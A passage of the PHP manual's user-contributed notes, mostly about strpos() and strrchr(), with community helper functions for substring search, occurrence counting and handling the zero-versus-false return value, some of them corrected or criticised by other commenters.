   if ($reverse=($n<0)) { $n=-$n; $str = strrev($str); }
   while ($n--) {
   $bestNewPos = $size;
   for ($i=strlen($needles)-1;$i>=0;$i--) {
       $newPos = strpos($str, $needles[$i], $pos+1);
       if ($newPos===false) $needles = substr($needles,0,$i) . substr($needles,$i+1);
       else $bestNewPos = min($bestNewPos,$newPos); }
   if (($pos=$bestNewPos)==$size) return -1; }
   return $reverse ? $size-1-$pos : $pos;
}

Csaba Gabor from Vienna
dale at ucsc dot edu
12-Nov-2005 06:28
if you want need a fast function to find the first occurrence of any ch element of an needle array this function might be of use:
<?php
$eurl = strpos_needle_array($text, array('"'=>0,'\''=>0,'>'=>0, ' '=>0, "\n"=>0), $surl);

function strpos_needle_array(& $text, $needle_ary, $offset=0){
   for($ch_pos=$offset;$ch_pos<strlen($text);$ch_pos++){
       if(isset($needle_ary[$text[$ch_pos]])){
           return $ch_pos;
       }
   }
   return false;
}
?>
johnjc-phpdocs at publicinfo dot net
02-Nov-2005 02:37
The === and !== are not fully documented in either the Comparison Operator, Booleans type sections. They are talked about a bit more in the sections on strpos() and array_search() but they refer you to the section on Booleans for further information.

I am putting my contribution on === and !== in the Booleans section with pointers to it from the comment areas of other sections.

http://uk.php.net/manual/en/language.types.boolean.php
info at quantummechanic dot com
06-Oct-2005 08:42
this function takes a space-deliminted string as a list of potential needles and runs it against another string as a haystack.

the number of positive matches of needles within the haystack is returned as a rounded percentile.

function keyMatch($needles,$haystack) {
   $nArray=split(" ",$needles);
   $found=0;
   $best=count($nArray);
     for($i=0;$i<count($nArray);$i++) {
       $pzn=strpos(strtoupper($haystack),strtoupper($nArray[$i]));
       if ($pzn>-1) { $found++; }
       }
   $pct=($found*100)/$best;
   return round($pct);
}

$test = keyMatch("the quick wolf","the quick brown fox jumps over the lazy dog");
echo($test);

RESULT:

67

(because "the" and "quick" were found but "wolf" was not)
paul at goldenbakery dot nl
28-Sep-2005 04:51
@talthen at wp dot pl

Or you could just have typed:

if (strpos($string,$searchfor)===0)) ....

All you needed was en extra = instead of a whole function.
talthen at wp dot pl
31-Aug-2005 06:48
Because I like the way pascal functions work, so I created this little function:

function paspos($base,$findme)
{
$result=strpos($base,$findme);
if ($result===false) $result=-1;
return $result;
}

It returns -1 if the $findme may not be found in $base, or position where $findme was found in $base.

Now when you want to check if $base starts from $findme you can just type:
if (paspos($string,$searchfor)==0)) ....

Hope you'll like it :)
lindbeer at gmail dot com
27-Jul-2005 04:29
He he. I've got an updated version of the multiStrposArray function:

<?php

function multiStrposArray($haystack, $needle) {
   return explode($needle, $haystack);
}

?>
vig0
11-Jul-2005 09:03
This function takes in a string and a delimiter. It then builds an array of the data in between the delimiter then returns the array. I needed this function for something that I'm doing and thought it was somewhat useful.

function multiStrposArray($haystack, $needle){
  $array = array();
  $row  = 0;
  $var  = "";
  for ($i=0; $i<strlen($haystack); $i++) {
   if (substr($haystack, $i, 1)==$needle) {
     $array[$row] = $var;
     $row++;
     $var = "";
   } else {
     $var .= substr($haystack, $i, 1);
   }

  }
  if ($var) $array[$row] = $var;
  return $array;
}
Ed Lecky-Thompson
27-Apr-2005 12:02
Here's a quick function which can replace strtotime, and will work fine on dates pre-1970 (i.e. it will return a negative number as expected).

This negative time stamp seems to be supported as an input parameter by methods like date() up to a point, but if you get crazy and start talking about dates in the 1700s (everybody was using PHP3 back then, of course) it gets upset.

For those of you doing staff databases and so forth, of course, this is probably fine - it's definitely OK for any dates post 1900, and this value has been hard coded into the function below.

   function safestrtotime($strInput) {
       $iVal = -1;
       for ($i=1900; $i<=1969; $i++) {
           # Check for this year string in date
           $strYear = (string)$i;
           if (!(strpos($strInput, $strYear)===false)) {
               $replYear = $strYear;
               $yearSkew = 1970 - $i;
               $strInput = str_replace($strYear, "1970", $strInput);
           };
       };
       $iVal = strtotime($strInput);
       if ($yearSkew > 0) {
           $numSecs = (60 * 60 * 24 * 365 * $yearSkew);
           $iVal = $iVal - $numSecs;
           $numLeapYears = 0;        # Work out number of leap years in period
           for ($j=$replYear; $j<=1969; $j++) {
               $thisYear = $j;
               $isLeapYear = false;
               # Is div by 4?
               if (($thisYear % 4) == 0) {
                   $isLeapYear = true;
               };
               # Is div by 100?
               if (($thisYear % 100) == 0) {
                   $isLeapYear = false;
               };
               # Is div by 1000?
               if (($thisYear % 1000) == 0) {
                   $isLeapYear = true;
               };
               if ($isLeapYear == true) {
                   $numLeapYears++;
               };
           };
           $iVal = $iVal - (60 * 60 * 24 * $numLeapYears);
       };
       return($iVal);
   };
yess at eleethal dot com
24-Apr-2005 11:18
Regarding James Perlman's findStr(), it's very nice although doesnt always return true when it should.  I found fnmatch() to be a more accurate function for 'wildcard matching'. I'm building an IRCd and require wildmatching for many different commands. Hope this helps somone.

<?
findStr("12.12.12.*","12.12.12.12"); //returns null, should return true

fnmatch("12.12.12.*","12.12.12.12"); //returns 1.
?>
webKami [at] akdomains.com
01-Apr-2005 04:37
You can easily skip these two meaningless comment lines in my last function.These comments are for old version of the function, I was not using length of needle in that version. Code is fine itself, I suppose ;)
<?
...

//start $pos from -1, cause we are adding 1 into it while searchig
//so the very first iteration will be 0

...
?>
webKami [at] akdomains.com
31-Mar-2005 11:06
Str Pos Nth (Position of nth occurance of a string)
A handy function to get the position of nth occurance of a substring in a string, with an optional param to make it case insenstive. I am calling it strposnth, suggestions welcome.

Third optional parameter gets the value of n, e.g puting in 2 will return position of second occurance of needle in haystack: Valid inputs (1 = default) 2,3,4.....

Fourth optional parameter can be used to specify the function as case insenstive: Valid inputs (0 = case senstive = default) 1 = case insenstive.

Code:
<?

function strposnth($haystack, $needle, $nth=1, $insenstive=0)
{
   //if its case insenstive, convert strings into lower case
   if ($insenstive) {
       $haystack=strtolower($haystack);
       $needle=strtolower($needle);
   }
   //count number of occurances
   $count=substr_count($haystack,$needle);

   //first check if the needle exists in the haystack, return false if it does not
   //also check if asked nth is within the count, return false if it doesnt
   if ($count<1 || $nth > $count) return false;

   //run a loop to nth number of accurance
   //start $pos from -1, cause we are adding 1 into it while searchig
   //so the very first iteration will be 0
   for($i=0,$pos=0,$len=0;$i<$nth;$i++)
   {
       //get the position of needle in haystack
       //provide starting point 0 for first time ($pos=0, $len=0)
       //provide starting point as position + length of needle for next time
       $pos=strpos($haystack,$needle,$pos+$len);

       //check the length of needle to specify in strpos
       //do this only first time
       if ($i==0) $len=strlen($needle);
     }

   //return the number
   return $pos;
}

?>

I just construct this function after trying to search a similar one to use in a shopping cart. I am using this to display a limited number of lines or text for featured products. My aim is to limit the product description to 100 characters or 3 lines / 3 list items whichever is less.

Example code goes like this
<?

//get the product description from recordset
$text=$row['product_desc'];

//strip off text if its longer than 100 characters
if (strlen($text)>100) $text=substr($text,0,100)." ...";

//get ending of the third line
$pos=strposnth($text,"\n",3,1);

//if found, strip off text after that
if($pos) $text=substr($text,0,$pos);

//nl2li (new line 2 list) this function converts the \n seprated lines of text into sorted or unsorted lists
//I have posted this function in nl2br
//http://uk2.php.net/manual/en/function.nl2br.php
$text=nl2li($text);
echo $text;

?>

Examples:

strposnth("I am trying to go now.","o"); // returns 13 (strpos behavior)
strposnth("I am trying to go now.","O"); // returns false (strpos behavior)
strposnth("I am trying to go now.","o",2); // returns 16 (second occurance)
strposnth("I am trying to go now.","o",7); // returns false (occurance count is less than 7)
strposnth("I am trying to go now.","O",1,1); // returns 13 (stripos behavior)
strposnth("I am trying to go now.","O",3,1); // returns 19 (stripos behavior + nth occurance)

Suggestions and corrections are welcome.
Regards,

webKami [at] akdomains.com
edykory at bluebottle dot com
23-Mar-2005 08:49
a shorter version of "admin at bwongar dot com" searching function:

function strpos_array($haystack, $needle){
  while (($pos = strpos($haystack, $needle, $pos)) !== FALSE)
                 $array[] = $pos++;
  return $array;
}
 I like "arias" version, but I guess strlen(aguja) can be cached in a local variable.
damy_belthazor86 at yahoo dot it
09-Mar-2005 04:10
Aw.. I forgot to post the usage of my function :)

Here's an example in which an array is filled of all the values of the attribute src of the tag img.
<?php
$imgSrcValues = getTagAttributeValues($rteHtml,"<IMG","src=");
?>

bye!
08-Mar-2005 08:32
<?

// You can use this to get the real path...

$include_path = getenv("PATH_TRANSLATED");

echo $include_path = substr($include_path, strpos($include_path, "/"), strrpos($include_path, "/"));

?>
arias at elleondeoro dot com
07-Feb-2005 10:33
If you want to get all positions in an array, you can use this function. If the optional parameter count is especified, the function will put there the number of matches.

function strallpos($pajar, $aguja, $offset=0, &$count=null) {
  if ($offset > strlen($pajar)) trigger_error("strallpos(): Offset not contained in string.", E_USER_WARNING);
  $match = array();
  for ($count=0; (($pos = strpos($pajar, $aguja, $offset)) !== false); $count++) {
   $match[] = $pos;
   $offset = $pos + strlen($aguja);
  }
  return $match;
}
admin at bwongar dot com
21-Jan-2005 10:17
I created a useful function that returns an array with the positions within a string. For more info, read the comments:
<?php
// Returns an array in this fashion:
// array(count => position)
function strpos_array($haystack, $needle){
   $kill    = 0;    // Kills while loop when changed
   $offset    = 0;    // Offset for strpos()
   $i        = 0;    // Counter, not iterator

   while ($kill === 0) {
       $i++;
       $result = strpos($haystack, $needle, $offset);

       if ($result === FALSE) {        // If result is false (no more instances found), kill the while loop
           $kill = 1;
       } else {
           $array[$i] = $result;    // Set array
           $offset = $result + 1;    // Offset is set 1 character after previous occurence
       }

   }

   return $array;

}
?>
Benjamin
10-Jan-2005 02:46
James Perlman's function is nice but he should REALLY use a regular expression:

http://php.net/manual/en/function.ereg.php
takapz at flor dot it
04-Dec-2004 01:28
here a little function for tag parsing

function parsing($tag,$string) {
       $start=strpos($string,"<" . $tag . ">" );
       $start=$start + strlen("<" . $tag . ">");
         $end=(strpos($string, "</" . $tag . ">"));
         $num=  ($end - $start);
         $valore=substr($string,$start,$num);
         return $valore;
}
James Perlman
11-Nov-2004 04:06
Here's a nifty function i made, that allows you to search a string using wildcards.  It was intentionally made as part of a ban system.

Here is the function:
(below is how to use the function)

<?php
function findStr($search, $target) {
   $matches = 0;
   $search = strtolower($search);
   $target = strtolower($target);
   $output = "";
   // Create the "search" array, which holds all our search terms
   $search = explode("*",$search); // You could change this to: '$search = explode(" ",$search);' if you wanted your search terms to be split by a space.
   $pos = 0;
   for ($i=0; $i<count($search); $i++) {
       // Check if the current search term is in our target
       if (strpos($target, $search[$i], $pos) != '' && strlen($search[$i])>0) {
           $pos = strpos($target, $search[$i], $pos);
           $matches++;
       }
       if (strlen($search[$i])<1) {
           $matches++;
       }
   }
   if ($matches == count($search)) {
       return true;
   } else {
       return false;
   }
}
?>

How to use the function:
<?
echo findStr("34.12.85.*","34.12.85.98"); // would return true
echo findStr("3*.12.*.90","39.16.29.34"); // would return false
?>
The function searches to see if all the search terms are in the string, and if they are in the exact order you gave them in.

Hope you found this function to be helpful!
-James
ygrange at science dt uva dt nl
14-Sep-2004 07:15
Hmm. I think the maker of multi_strpos forgot to add that it allowed a negative position (if $n=0, $position[($n-1)] = $position[-1]. I just changed a slightly bit of the code to make it really correct.

I just replace
$position[$n] = (strlen($fragment[0]) + $position[($n-1)]);
by
$position[$n] = (strlen($fragment[0]) + $positione[$n]);
$positione[$n+1]=$position[$n];
philip
26-Aug-2004 06:52
Many people look for in_string which does not exist in PHP, so, here's the most efficient form of in_string() (that works in both PHP 4/5) that I can think of:
<?php
function in_string($needle, $haystack, $insensitive = 0) {
   if ($insensitive) {
       return (false !== stristr($haystack, $needle)) ? true : false;
   } else {
       return (false !== strpos($haystack, $needle))  ? true : false;
   }
}
?>
christian dot NEI_TIL_SPAM at datalogen dot no
20-Aug-2004 02:26
If you want to find the position of the first character succeeding $needle, this function does it for you. $offset is optional.

<?php

function strpos_succ($haystack, $needle) {
   $offset = (func_num_args() > 2) ? func_get_arg(2) : 0;
   $res = strpos($haystack, $needle, $offset);
   return (($res === false) ? false : $res + strlen($needle));
}

?>

Example:
<?php
   $str = 'Mighty <a href="nowhere.htm">useful</a> function, this strpos_succ!';
   //Where does the first <a> tag in $str end?
   $aPos = strpos_succ($str, ">");
   // $aPos=29
?>
php .at. wwwcrm .dot. com
20-Aug-2004 01:33
Watch out for type!

The following code will return "not matched", which is a little counter-intuitive.

<?php
$val1=123;
$val2="123,456,789";
if (strpos($val2, $val1)!==false) echo "matched";
else echo "not matched";
?>

When $val1 is cast to string, it behaves as you might expect:

<?php
$val1=(string)123;
$val2="123,456,789";
if (strpos($val2, $val1)!==false) echo "matched";
else echo "not matched";
?>

Hope this saves someone the couple of hours that it took me to spot it :-)

Regards,
Alex Poole
bishop
22-Apr-2004 06:38
Code like this:
<?php
if (strpos('this is a test', 'is') !== false) {
   echo "found it";
}
?>

gets repetitive, is not very self-explanatory, and most people handle it incorrectly anyway. Make your life easier:

<?php
function str_contains($haystack, $needle, $ignoreCase = false) {
   if ($ignoreCase) {
       $haystack = strtolower($haystack);
       $needle  = strtolower($needle);
   }
   $needlePos = strpos($haystack, $needle);
   return ($needlePos === false ? false : ($needlePos+1));
}
?>

Then, you may do:
<?php
// simplest use
if (str_contains('this is a test', 'is')) {
   echo "Found it";
}

// when you need the position, as well whether it's present
$needlePos = str_contains('this is a test', 'is');
if ($needlePos) {
   echo 'Found it at position ' . ($needlePos-1);
}

// you may also ignore case
$needlePos = str_contains('this is a test', 'IS', true);
if ($needlePos) {
   echo 'Found it at position ' . ($needlePos-1);
}
?>
amy_w at gmx dot de
03-Apr-2004 01:41
You can use this function to find ANY occurence of a string in an array - no matter if it is just part of one of the array elements.

it returns the key of the first found occurence or false

<?php
function search_array($needle,$haystacks) {
   $found=false;
   foreach ($haystacks as $key => $haystack) {
       if (!(strpos($haystack,$needle)===false)) {
           $found=$key;
           break;
       }
   }
   return ($found);
}
?>
ebypdx at comcast dot net
10-Mar-2004 09:26
counting the occurrences of a substring, recursive-style instead of looping.
<?
function countSubstrs($haystack, $needle)
{
   return (($p = strpos($haystack, $needle)) === false) ? 0 : (1 + countSubstrs(substr($haystack, $p+1), $needle));
}
?>
nanobot2k at nanobot2k dot org
16-Feb-2004 05:45
This function will return the number of times a needle is found in a haystack...if none that it will return 0.

Cheers to lgbr for saving me the headache! :P
<?php
/**
 * @return int
 * @param string $haystack
 * @param string $needle
 * @desc returns the number of times a needle is found in a haystack, 0 if none found
*/
function totalStr($haystack, $needle,$i = 0)
{
   while(strpos($haystack,$needle) !== false) {
       $haystack = substr($haystack, (strpos($haystack,$needle) + 1));
       $i++;
   }
   return $i;
}
?>
kingbusiness at hotmail dot com
19-Dec-2003 02:34
A simple function to find the number of occurances in a string within a string

<?php
function StringCount($searchstring, $findstring)
{
   return (strpos($searchstring, $findstring) === false ? 0 :  count(split($findstring, $searchstring)) - 1);
}
?>
jackylee at eml dot cc
20-Nov-2003 02:17
enough to search and replace a new string into a text file.
hope this can save your time :-)

original config.txt file:
Current Background = [wallpaper/WinXP.jpg]
Last Time = [20]

<?php
  $var = file_get_contents("data/config.txt");

  $out = fopen("data/config.txt", "w");
  $var2 = writeConfig($var , "Current Background = [" , "]" , "wallpaper/Bgred.jpg");
  $var2 = writeConfig($var2, "Last Time = [" , "]" , "21");
  fwrite($out, $var2);
  fclose($out);

function writeConfig($var, $begString, $endString, $newString)
{
  $begPos = strpos($var,$begString) +strlen($begString);
  $endPos = strpos($var , $endString , $begPos);
  $result = substr($var, 0, $begPos);
  $result .= $newString;
  $result .= substr($var, $endPos);
  return $result;
}
?>

changed config.txt file:
Current Background = [wallpaper/Bgred.jpg]
Last Time = [21]
peous at djingle dot com
04-Oct-2003 04:54
Function to find the first occurence of any object of the array.

<?php
function findfirstof( $txt, $arr, $start )
{
   $pos = -1;
   foreach( $arr as $v )
   {
       $p = strpos( $txt, $v, $start );
       if ($p===FALSE)
           continue;
       if (($p<$pos)||($pos==-1))
           $pos = $p;
   }
   return $pos;
}
?>

Ex:
$str = "find, the first word...";
$firstW = findfirstof( $str, ",?.:!" ); //returns "find"
justin at visunet dot ie
02-Oct-2003 12:20
Function:
stripos_words($haystack,'words in string')

This function finds and reports positions of all words in supplied haystack. It returns the results as an array. The array has the following structure.

Array
(
   [69] => Array
       (
           [start] => 69
           [end] => 74
           [word] => honey
       )

   [226] => Array
       (
           [start] => 226
           [end] => 232
           [word] => cobweb
       )
}

Where, for convenience, the main key also contains the positions of each found word occurrence.

If you want the main key to be 0,1,2,3,etc then set the third parameter ($pos_as_key) to false;

Hope this is of help to someone.

Cheers,
Justin :)

<?php
function stripos_words($haystack,$needles='',$pos_as_key=true)
{
   $idx=0; // Used if pos_as_key is false

   // Convert full text to lower case to make this case insensitive
   $haystack = strtolower($haystack);

   // Split keywords and lowercase them
   foreach ( preg_split('/[^\w]/',strtolower($needles)) as $needle )
   {
       // Get all occurences of this keyword
       $i=0; $pos_cur=0; $pos_found=0;
       while (  $pos_found !== false && $needles !== '')
       {
           // Get the strpos of this keyword (if thereis one)
           $pos_found = strpos(substr($haystack,$pos_cur),$needle);
           if ( $pos_found !== false )
           {
               // Set up key for main array
               $index = $pos_as_key ? $pos_found+$pos_cur : $idx++;

               // Populate main array with this keywords positional data
               $positions[$index]['start'] = $pos_found+$pos_cur;
               $pos_cur += ($pos_found+strlen($needle));
               $positions[$index]['end']  = $pos_cur;
               $positions[$index]['word'] = $needle;
               $i++;
           }
       }
   }

   // If we found anything then sort the array and return it
   if ( isset($positions) )
   {
       ksort($positions);
       return $positions;
   }

   // If nothign was found then return false
   return false;
}
?>
daijoubu at videotron dot ca
30-Aug-2003 07:48
To previous comments:
I did a test with 500000 iterations, string lenght was 1846bytes long and the word to find was near the end.

Results:
if (*)
Total time in secs
Average

strpos($test, 'Possibly') === true
5.1114
0.0000102228

strpos(' '.$test, 'Possibly') > 1
7.2559
0.0000145117

is_int(strpos($test, 'Possibly'))
5.5331
0.0000110661

strstr($test, 'Possibly')
5.1461
0.0000102922

Clearly shows that === operator is the fastest
wodzuY2k at interia dot pl
07-Apr-2003 06:31
this loop removes <script>.*</script> tags from HTML contents.

<?php
while(true)
{
   $begPos = strpos($contents,"<script");
   if ($begPos===false) break; //all tags were found & replaced.
   $endPos = strpos($contents,"script>",$begPos+strlen("<script"));
   $tmp = substr($contents,0,$begPos);
   $tmp .= substr($contents,$endPos+strlen("script>"));
   $contents = $tmp;
   if ($loopcontrol++>100) break; //loop infinity control
   continue;  //search again
};
?>
bebop at gmx dot at
31-Mar-2003 10:02
just another workaround for the true/0 problem:

<?php
if (!is_int(strpos($haystack,$needle))) {
   //do something
}
?>

should also do the job
arduenn at hotpop dot com
18-Jan-2003 08:45
Hi all,

This function returns an array of positions (as integers) of a regular expression pattern that could occur several times within a string (or FALSE if the pattern does not occur). Note that the function is able to determine the positions of overlapping patterns. There may be shorter ways of determining multiple pattern positions (such as by using 'explode') but likely these won't find the overlapping patterns.

The multi_strpos function has one restriction (for the sake of snippet economy): if you use a pattern starting with '\*' (backslash asterisk) a hit within the string will invoke an infinite loop.

This function was initially written to create restriction maps of DNA sequences but you may find other uses.

<?

function multi_strpos($pattern, $sequence) {
  $n = -1;
  while (ereg($pattern, $sequence)) {
   $n++;
   $fragment = split($pattern, $sequence);
   $trimsize = (strlen($fragment[0]))+1;
   $sequence = "*".substr($sequence, $trimsize);
   $position[$n] = (strlen($fragment[0]) + $position[($n-1)]);}
  return $position;}

// Below some code to demonstrate the function.

$testsequence = "She sells sea shells at the see shore.";
echo "Test sequence = '$testsequence'\n\n";

$testpattern = "s...s";
echo "Regular expression pattern = '$testpattern'\n\n";

$position = multi_strpos($testpattern, $testsequence);

if ($position) {
  echo "Pattern match found at:\n";
  while (list($index, $pos) = each($position)) {
   echo "$pos\n";}}

?>
netmail at brownfloyd dot com
30-Dec-2002 02:31
Description:

array straipos ( string haystack, array needle [, int offset])

Returns an indexed array of the item from the array 'needle' that occurs first in the haystack, with item 0 being its position in the 'haystack', and item 1 being the item number of the item found.

If none of the items are found, it returns false.

<?php
function straipos($haystack,$array,$offset=0)
{
   $occ = Array();
   for ($i = 0;$i<sizeof($array);$i++)
   {
       $pos = strpos($haystack,$array[$i],$offset);
       if (is_bool($pos)) continue;
       $occ[$pos] = $i;
   }
   if (sizeof($occ)<1) return false;
   ksort($occ);
   reset($occ);
   list($key,$value) = each($occ);
   return array($key,$value);
}
?>
admin at kingdompeople dot com
27-Sep-2002 04:19
the following 2 functions grab a piece of content from an external html and lists that in separate places -- i.e. the title for html documents, or a list of subtopics dynamically.. the first function grabs the first found and returns a string, the second recursively searches the rest of the document and returns an array..
I found this was very useful to display articles on my website that had various topics marked by a consistent <P class=subtopic>, and the end </ P> tags..

<?php
function stripfromtext($haystack, $bfstarttext, $endsection) {
  $startpostext = $bfstarttext;
  $startposlen = strlen($startpostext);
  $startpos = strpos($haystack, $startpostext);
  $endpostext = $endsection;
  $endposlen = strlen($endpostext);
  $endpos = strpos($haystack, $endpostext, $startpos);
  return substr($haystack, $startpos + $startposlen, $endpos - ($startpos + $startposlen));
}

function &stripfromtextarray($haystack, $bfstarttext, $endsection, $myarray=array(), $offset=0) {
  $startpostext = $bfstarttext;
  $startposlen = strlen($startpostext);
  $startpos = strpos($haystack, $startpostext, $offset);
  $endpostext = $endsection;
  $endposlen = strlen($endpostext);
  $endpos = strpos($haystack, $endpostext, $startpos);
  $myarray[] = substr($haystack, $startpos + $startposlen, $endpos - ($startpos + $startposlen));
  $offset = $endpos;
  if (is_numeric(strpos($haystack, $startpostext, $offset))) {
   return stripfromtextarray($haystack,$startpostext, $endpostext, &$myarray, $offset);
  }
  else {
   return $myarray;
  }
}
?>

The following is an example of the use of these functions
<?php
$filetitle = stripfromtext ($content, "<P CLASS=title>", "</ P>");

// and
$rightmenuarray = stripfromtextarray($content, "<P CLASS=subtitle>", "</ P>");

foreach ($rightmenuarray as $rm) {$rightmenu.=$rm."<br>";}
?>
anonymous dot coward at slashdot dot org
21-Sep-2002 05:19
Even simpler method to get around that zero/false headache:

if (strpos(' '.$string,$substring) > 1)
{
  echo('substring present!');
}

Simly add a space to your string being tested. Your first real string position then becomes 1, and zero really means "string not found". Please adjust your position formulas accordingly (substract 1).
http://cm.zetyx.net/
18-Sep-2002 03:48
About issue:
Zero (0) is not a false result; it is a valid answer. The function returns 0 because "abc" does indeed contain "abc" and the first occurence of the target string starts at position 0.
Use === to test if the function returned true or false.

Try my simple and easy way for use at several PHP version.

$buf = "When doves cry.";
$chk = "Wh";
if (strpos( "#$%".$buf, $chk)) { return TRUE; }
else { return FALSE; }
one at groobo dot com
16-Aug-2002 04:04
You all know it probably, but it is quicker to use strpos() function to check an existence of a character in a string, instead of regular expressions.
dont at spam dot net
24-Jul-2002 10:14
To: redeagle@chello.nl

Zero (0) is not a false result; it is a valid answer. The function returns 0 because "abc" does indeed contain "abc" and the first occurence of the target string starts at position 0.
Use === to test if the function returned true or false.
redeagle at chello dot nl
23-Jul-2002 11:39
I've just did a test using strpos:
-
$test = strpos("abc", "abc");
echo($test);
-
Note that $test will return zero (false) if the seccond parameter is the same as the first parameter.
schofiel at cs dot ualberta dot ca
19-Jul-2002 03:46
Only 0 is false in PHP non-zero is postive
so -2 could be a true.

Since they can't use zero becuase it is in
the range of possible correct positions within
a string.

So do the type check against false explicity
to prevent odd behavior
jjrocket at yahoo dot com
04-May-2002 04:22
It may be obvious to most, but the number returned by strpos will be the position in haystack at which the string needle starts.

For example if haystack is "Now is the time" and needle is "Now", then strpos will return 0, not 2.
martin at netimage dot dk
19-Apr-2002 10:54
I use this

$a=strpos($haystack,$needle,$offset);

if($a!==false)  # note the check for type equivalence
// found
else
// not found
soletan at toxa dot de
10-Feb-2002 09:28
Better to use the original example from reference part for checking, if strpos failed or not with version before 4.03b.

When pos is an integer and is interpreted as boolean false (so it is 0) strpos FOUND something immediately at the haystack's beginning ...
maharj at DONTSPAMutu dot fi
14-Jan-2002 07:51
I'm not sure if this is common, but I'll take an example:

$str="123456test7890";

If I do:
for($i=0;$i<strpos($str, "te");$i++)
  print $str[$i];
print "Hey mon";
for($i=strpos($str,"st")+2;$i<strlen($str);$i++)
  print $str[$i];

on the second loop the strpos() returns something, that is not true. (pos=2 or something).

Solution: Before for:s take the boundaries to variables like:
$startPos=strpos($str, "te");
$endPos=strpos($str, "st")+2;
anduse them in for-loops

Yes, I know I can ereg("(.*)test(.*)",$str,$parm) but I just came across this...

The PHP version I'm using is 4.0.4pl1

:)Mikko
nmmm at nmmm dot nu
08-Jan-2002 09:44
if you want to check if a string includes some character, you may use code like this ('x' is in position 0 in the string so if $c is 'x' if structure will return false :)

$c='5';
$s='01234567890';
if (strpos($s, 'x'.$c))
   echo "$c is a number!";
Michael-Rudel at gmx dot de
22-Nov-2001 10:01
The example above for versions older than 4.0b3 should check for integer, since strpos returns an integer, not a string. So it should read:

// in versions older than 4.0b3:
$pos = strpos($mystring, "b");
if (is_integer($pos) && !$pos) {
   // not found...
}
GrandLibrarian at iname dot com
28-Apr-2000 12:02
To find the position of a string in a case-insensitive manner without converting everything to lowercase, try using stristr:<br>
$temp = stristr($haystack,$needle);<br>
$pos = strlen($haystack)-strlen($temp);
add a note add a note

后退 | 起点 | 前进
strpbrk | 上一级 | strrchr


strrchr

(PHP 3, PHP 4, PHP 5)

strrchr -- Find the last occurrence of a character in a string

Description

string strrchr ( string haystack, string needle )

This function returns the portion of haystack which starts at the last occurrence of needle and goes until the end of haystack.

Returns FALSE if needle is not found.

If needle contains more than one character, only the first is used in PHP 4. This behavior is different from that of strchr().

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

例子 1. strrchr() example

<?php
// get last directory in $PATH
$dir = substr(strrchr($PATH, ":"), 1);

// get everything after last newline
$text = "Line 1\nLine 2\nLine 3";
$last = substr(strrchr($text, 10), 1 );
?>

strrchr() has been binary safe since PHP 4.3.0

See also strstr(), substr(), and stristr().

add a note add a note User Contributed Notes
readless at gmx dot net
07-Jun-2006 10:55
to: repley at freemail dot it

the code works very well, but as i was trying to cut script names (e.g.: $_SERVER["SCRIPT_NAME"] => /index.php, cut the string at "/" and return "index.php") it returned nothing (false). i've modified your code and now it works also if the needle is the first char.
- regards from germany

<?php
//strxchr(string haystack, string needle [, bool int leftinclusive [, bool int rightinclusive ]])
function strxchr($haystack, $needle, $l_inclusive = 0, $r_inclusive = 0){
   if(strrpos($haystack, $needle)){
       //Everything before last $needle in $haystack.
       $left =  substr($haystack, 0, strrpos($haystack, $needle) + $l_inclusive);

       //Switch value of $r_inclusive from 0 to 1 and viceversa.
       $r_inclusive = ($r_inclusive == 0) ? 1 : 0;

       //Everything after last $needle in $haystack.
       $right =  substr(strrchr($haystack, $needle), $r_inclusive);

       //Return $left and $right into an array.
       return array($left, $right);
   } else {
       if(strrchr($haystack, $needle)) return array('', substr(strrchr($haystack, $needle), $r_inclusive));
       else return false;
   }
}
?>
repley at freemail dot it
19-May-2006 06:09
Get file name and extension into an array with or without dot, using strrchr and strrchr_reverse.

<?
//strxchr(string haystack, string needle [, bool int leftinclusive [, bool int rightinclusive ]])
function strxchr($haystack, $needle, $l_inclusive = 0, $r_inclusive = 0){
   if(strrpos($haystack, $needle)){
       //Everything before last $needle in $haystack.
       $left =  substr($haystack, 0, strrpos($haystack, $needle) + $l_inclusive);

       //Switch value of $r_inclusive from 0 to 1 and viceversa.
       $r_inclusive = ($r_inclusive == 0) ? 1 : 0;

       //Everything after last $needle in $haystack.
       $right =  substr(strrchr($haystack, $needle), $r_inclusive);

       //Return $left and $right into an array.
       $a = array($left, $right);
       return $a;
   }else{
       return false;
   }
}

//start test
$haystack = "unknown.txt.log.......gif.....jpeg";
$needle = ".";
$l_inclusive = 1; //1 for inclusive mode, 0 for NOT inclusive mode
$r_inclusive = 1; //1 for inclusive mode, 0 for NOT inclusive mode

$a = strxchr($haystack, $needle, $l_inclusive, $r_inclusive);
if($a){echo "Left: <strong>" . $a[0] . "</strong><br /> Right: <strong>" . $a[1] . "</strong>";}else{echo "Failed!";}
//end test
?>

Thanks to all.

Repley
sekati at gmail dot com
09-Apr-2006 08:43
just a small addition to carlos dot lage at gmail dot com note which makes it a bit more useful and flexible:

<?php
// return everything up to last instance of needle
// use $trail to include needle chars including and past last needle
function reverse_strrchr($haystack, $needle, $trail) {
   return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) + $trail) : false;
}
// usage:
$ns = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 0));
$ns2 = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 1));
echo($ns . "<br>" . $ns2);
?>
freakinunreal at hotmail dot com
25-Dec-2005 02:54
to marcokonopacki at hotmail dot com.

I had to make a slight change in your function for it to return the complete needle inclusive.

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

   // Returns everything before $needle (inclusive).
   //return substr($haystack,0,strpos($haystack,$needle)+1);
   // becomes
   return substr($haystack,0,strpos($haystack,$needle)+strlen($needle));
}

Note: the +1 becomes +strlen($needle)

Otherwise it only returns the first character in needle backwards.
arcesis - gmail - com
11-Nov-2005 10:26
A quick way to get file's extension (if it has one, otherwise you get an empty string), which can be used when you want to rename the file but keep the old extension. Or for similar purposes. Temporary variable is used just because it's slightly faster to store the value than to run the strrchr() function again.

<?php
$ext = substr(($t=strrchr("file.ext",'.'))!==false?$t:'',1);
?>
Primo Anderson Do Stio
30-Jul-2005 01:24
$filename = 'strrchr_test.php';
print strrchr( $filename, '.' );

Result:
.php

$other_filename = 'strrchr_test.asp.php';
print  strrchr( $other_filename, '.' );

Result:
.php
carlos dot lage at gmail dot com
04-Apr-2005 02:45
I used dchris1 at bigpond dot net dot au 's reverse strrchr and reduced it to one line of code and fixed it's functionality - the real strrchr() returns FALSE if the needle is not found, not the haystack :)

<?php
// reverse strrchr()
function reverse_strrchr($haystack, $needle)
{
